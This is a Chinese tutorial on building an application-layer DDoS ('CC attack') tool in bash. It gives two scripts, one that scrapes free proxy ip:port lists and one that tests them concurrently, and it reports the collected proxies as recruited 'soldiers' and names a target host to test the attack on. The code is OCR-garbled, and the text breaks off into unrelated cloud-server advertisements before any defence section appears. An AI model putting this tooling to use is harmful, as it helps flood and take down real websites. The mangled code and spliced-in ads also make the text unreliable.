我们将要实现一个进行应用层DDoS攻击的工具综合考虑 CC攻击方式是最佳选择并用bash shell脚本来快速实现并验证这一工具并在最后讨论如何防御来自应用层的DDoS攻击。
第一步获取大量可用代理ip:port列表
网上所处可见免费代理我们使用http的GET方法抓取html文档接着使用正则过滤出我们需要的ip port对然后逐一验证各代理的可用性最终得到可用的代理ip port对。
C
1 grab_proxy.sh
2 #!/bin/bash
3
4 #get proxy l ist
5 declare proxyListFi le="proxy.txt"
6 declaretmpFi le=`mktemp`
7 declareurl
8 declarel ine
9 declaretimes
10 declareip
11 declare port
12 declare i
13 declarej
14 declare mod
15
16 function quit() {
17 rm-f$tmpFi le
18 exit "$1"
19}
20
21 echo"get proxy l ist. . .please wait. .."
22
23 if[ -r "$proxyListFi le" ]
24then
25 rm-f$proxyListFi le
26 fi
27
28 touch$proxyListFi le
29
30 forurl in " http://www.youdai l i .cn/Dai l i/guonei/2215.html "\
32 " http://www.youdai l i .cn/Dai l i/guonei/2215_3.html"\
33 " http://www.youdai l i .cn/Dai l i/guonei/2215_4.html "
34 do
35 if GET"$url">$tmpFi le
36 then
37 grep-oE '^.*<br/>.*$' "$tmpFi le" |grep-Eo"([0-9]+) (\. [0-9]+){3}:([0-9]+)"\
38 | sort -n | uniq | awk-F: '{printf("%-15s%s\n",$1,$2); }'>>$proxyListFi le
39 else
40 exec1>&2
41 echo"error:get proxyl istfai l ! chechthe url :$urlorthe network"
42 quit1
43 fi
44 done
45
46 echo"done. total `cat$proxyListFi le |wc-l`proxy"
47
48 quit0
49#exit
参数declare proxyListFile=” proxy. txt” ?#抓取到的代理ip port对所存放的文件路径
C
1 check_proxy.sh
2 #!/bin/bash
3
4 #get proxy l ist
5 declarecheck_threads=10
6 declarel ine
7 declaretimes
8 declareip
9 declare port
10 declare i
11 declarej
12 declare mod
13
14 function quit() {
15 exit "$1"
16}
17
18#echo"start check proxy'sfunctional ity. . ."
19
20#retargetthe inputfi leto stdin
21 if[ "$#" -gt "0" ]
22then
23 exec0<$1
24 else
25 exec1>&2
26 echo"usage:bash$0 proxyListFi le.txt"
27 echo"error:musthaveone inputarg"
28 quit1
29 fi
30
31#check proxy'sfunctional ity
32times=0
33whi lereadl ine
34 do
35 times=$((times+1) )
36 j=0
37 for i in`echo$l ine | tr ' ' '\n' |grep-E'^[^\s].*$'`38 do
39 j=$((j+1) )
40 if[ "$j" -eq1 ]
41 then
42 ip=$i
43 else
44 port=$i
45 fi
46 done
47 #echo"times=$timesip=$ip port=$port"
48 #start test
49 if GET-t 5-p"http://$ip:$port" "http://baidu.com"&>/dev/nul l
50 then
51 echo"$ip$port"
52 echo":) ip=$ip port=$port "&>/dev/nul l
53 else
54 echo"inval id ip=$ip port=$port :please check ip:host or network"&>/proc/self/fd/2
55 fi&
56 mod=$((times%check_threads) )
57 if [ "$mod" -eq"0" ]
58 then
59 wait
60 fi
61 done
62
63#closethefdof inputfi le
64 exec 0>&-
65 quit0
66#exit
参数declare check_threads=10#验证代理可用性时的并发数看一下代码就会发现我们使用的是GET?http://baidu.com方法所以并发数请不要也太高: )除非你的目标就是……
总结应征入伍的士兵共计600人经过考核的共计449人如果你还想招募更多的士兵奉劝一句苦海无边 回头是岸。
第二步吹响战争号角
笔者在一台VPS上建立了一个薄弱的靶机各位读者请不要太暴力测试一下就可以了地址?http://eecs.cc:8080/
农历春节将至,腾讯云开启了热门爆款云产品首单特惠秒杀活动,上海/北京/广州1核2G云服务器首年仅38元起,上架了新的首单优惠活动,每天三场秒杀,长期有效,其中轻量应用服务器2G内存5M带宽仅需年费38元起,其他产品比如CDN流量包、短信包、MySQL、直播流量包、标准存储等等产品也参与活动,腾讯云官网已注册且完成实名认证的国内站用户均可参与。活动页面:https://cloud.tencent.c...
继阿里云服务商推出轻量服务器后,腾讯云这两年对于轻量服务器的推广力度还是比较大的。实际上对于我们大部分网友用户来说,轻量服务器对于我们网站和一般的业务来说是绝对够用的。反而有些时候轻量服务器的带宽比CVM云服务器够大,配置也够好,更有是价格也便宜,所以对于初期的网站业务来说轻量服务器是够用的。这几天UCLOUD优刻得香港服务器稳定性不佳,于是有网友也在考虑搬迁到腾讯云服务器商家,对于轻量服务器官方...
华为云怎么样?华为云用在线的方式将华为30多年在ICT基础设施领域的技术积累和产品解决方案开放给客户,致力于提供稳定可靠、安全可信、可持续创新的云服务,做智能世界的“黑土地”,推进实现“用得起、用得好、用得放心”的普惠AI。华为云作为底座,为华为全栈全场景AI战略提供强大的算力平台和更易用的开发平台。本次年终聚惠618活动相当给力,1核2G内存1m云耀云服务器仅88元/年起,送主机安全基础版套餐,...